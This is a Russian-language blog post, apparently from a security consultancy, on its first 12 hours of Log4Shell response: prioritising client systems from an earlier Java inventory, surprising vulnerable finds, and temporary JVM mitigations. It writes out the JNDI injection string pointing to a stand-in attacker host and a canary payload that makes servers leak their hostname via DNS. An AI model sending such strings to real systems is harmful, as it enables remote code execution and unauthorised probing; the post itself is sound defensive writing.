Log4Shell: первые 12 часов с инвентарём на руках
CVE-2021-44228 в Apache Log4j 2 - JNDI-инъекция с RCE без аутентификации. Как ноябрьский аудит Java-компонентов помог нам сканировать инфраструктуру клиентов с первых минут.
9 декабря 2021: публикация PoC для CVE-2021-44228 (Log4Shell) - критическая RCE через JNDI lookup в Apache Log4j 2
9 декабря около полудня по московскому времени в публичных чатах начало расходиться то, что через несколько часов назовут Log4Shell: PoC для CVE-2021-44228 в Apache Log4j 2. JNDI lookup через поле ${jndi:ldap://attacker.com/...} в любом логируемом значении - User-Agent, имя пользователя, заголовок X-Api-Version - и сервер тянет и исполняет произвольный Java-класс с удалённого хоста. Без аутентификации, без доп. условий в большинстве конфигураций. Severity - CVSS 10.0.
Нам повезло в том смысле, что три недели назад мы провели инвентаризацию Java-компонентов у клиентов - именно ту работу, которую было бы неудобно объяснять заказчику в режиме пожара. Реестр уже был. Вот что происходило дальше.
Первые два часа: понять, что горит
Пока PoC расходился по твиттеру, мы разбирались в механике. Уязвимость в Log4j 2 начиная с версии 2.0-beta9 и вплоть до 2.14.1 включительно. Log4j 2.x - не то же самое, что 1.x: первая ветка не уязвима по этому вектору (у неё другие проблемы, но не этот). Условие эксплуатации: приложение логирует пользовательский ввод через Log4j 2, и в этом вводе находится ${jndi:...}. Что, в общем-то, делают почти все Java-сервисы с любым нормальным уровнем логирования.
Сразу стало ясно, почему это не очередная CVE, а что-то неприятное:
- Поверхность атаки огромная. JNDI lookup срабатывает в момент логирования. Логируется почти всё, что приходит снаружи. Атакующему достаточно одного HTTP-запроса.
- Log4j 2 везде. Это де-факто стандартная библиотека для Java enterprise. Она приходит транзитивно через десятки фреймворков - Spring, Struts, Elasticsearch, VMware vCenter, Cisco, IBM. Список продуктов растёт каждый час.
- Exploit-код элементарный. Строчка в curl. Не нужно разбираться в бинарниках.
Через час после появления PoC мы уже видели в открытых сканах - Shodan, Censys, публичные honeypot-логи - первые попытки эксплуатации. Это не академия.
Инвентарь как точка старта
У нас на руках был реестр с ноябрьского аудита: где стоит Log4j, какой версии, как попал - напрямую или транзитивно. По нескольким клиентским средам. Это дало возможность сразу приоритизировать, не бегая по серверам с find.
Алгоритм был простой:
- Берём реестр. Фильтруем по Log4j 2.x.
- Смотрим на версии: до 2.14.1 включительно - в первую очередь.
- Смотрим на доступность снаружи: что торчит в интернет или в DMZ - красная зона.
- Смотрим на то, что логирует: что принимает HTTP от внешних пользователей.
Там, где реестра не было - у клиентов вне периметра ноябрьского аудита - запускали сканирование по-быстрому. Использовали log4j-scan и вариации на тему dns-callback через canary-домены: отправляешь ${jndi:ldap://callback.domain/${hostname}} в заголовках, смотришь DNS-запросы. Если сервер уязвим и не заблокирован outbound DNS - колбэк прилетает.
Где нашли - неожиданное
Ожидаемые места - Java API-сервисы, Elasticsearch - были понятны заранее. Неожиданное оказалось интереснее.
Мониторинговая инфраструктура. Один клиент держит Logstash и сопутствующие компоненты Elastic Stack. Logstash сам по себе не Log4j 2, но рядом оказался самостоятельно установленный инстанс старого Elasticsearch с плагинами, который про нас никто не предупреждал. Его поставила команда разработки «для тестов» и оставила.
VPN-концентратор. Не сам по себе, но рядом - административная панель на встроенном Java-сервере, доступная из корпоративной сети. Версия Log4j в ней - 2.11. Производитель оборудования ещё не выпустил патч. Это первая ситуация, когда мы не можем просто обновить библиотеку - зависим от вендора.
CI/CD агенты. Jenkins на двух клиентах. Jenkins написан на Java, использует Log4j 2. Агенты с прямым доступом к production-репозиториям. RCE на Jenkins - это не просто скомпрометированный хост, это потенциально весь пайплайн деплоя.
Что делали в первые 12 часов
Патч на тот момент - Log4j 2.15.0 - только появился. Не у всех была возможность моментально обновиться: вендорские компоненты, замороженные среды, требование регрессионного тестирования перед обновлением prod.
Для таких случаев два workaround-а, о которых уже писали в security-сообществе:
- Системное свойство JVM:
-Dlog4j2.formatMsgNoLookups=true. Отключает lookups в сообщениях лога. Не требует обновления, применяется рестартом сервиса. - Переменная окружения:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true. То же самое для тех, у кого нет прямого контроля над аргументами JVM.
Эти меры - временные. Они не закрывают все векторы, которые уже обсуждались к вечеру 9 декабря. Но для первых часов - лучше, чем ничего, пока тестируется обновление.
Jenkins обновили в первую очередь. Административные панели без патча изолировали на уровне сети - временный ACL, пока вендор не зашевелится.
Где мы сейчас
К концу дня у нас была картина по всем клиентам: что уязвимо, что уже закрыто, что ждёт вендорского патча, что изолировано. Это работоспособный план вместо паники.
Ситуация не закрыта - вокруг CVE-2021-44228 продолжают появляться новые детали, обходы mitigation, новые уязвимые продукты. Это будет продолжаться. Но разница между «мы знаем, где у нас Log4j» и «мы не знаем» - принципиальная. Аудит Java-компонентов, который мы делали в ноябре без конкретного повода, оказался именно тем, что нужно в первые часы после публикации PoC.
Из практического наблюдения: самые неожиданные находки - не в продуктовых Java-сервисах, которые все знают и мониторят. Они в мониторинговой инфраструктуре, CI/CD, административных панелях и вендорских компонентах. Именно там, где никто не смотрит в первую очередь.
- Java-зависимости и транзитивный Log4j: начинаем инвентаризацию у клиентов · 8 ноября 2021
- SBOM на практике: Syft + Grype для container images и интеграция в CI · 13 сентября 2021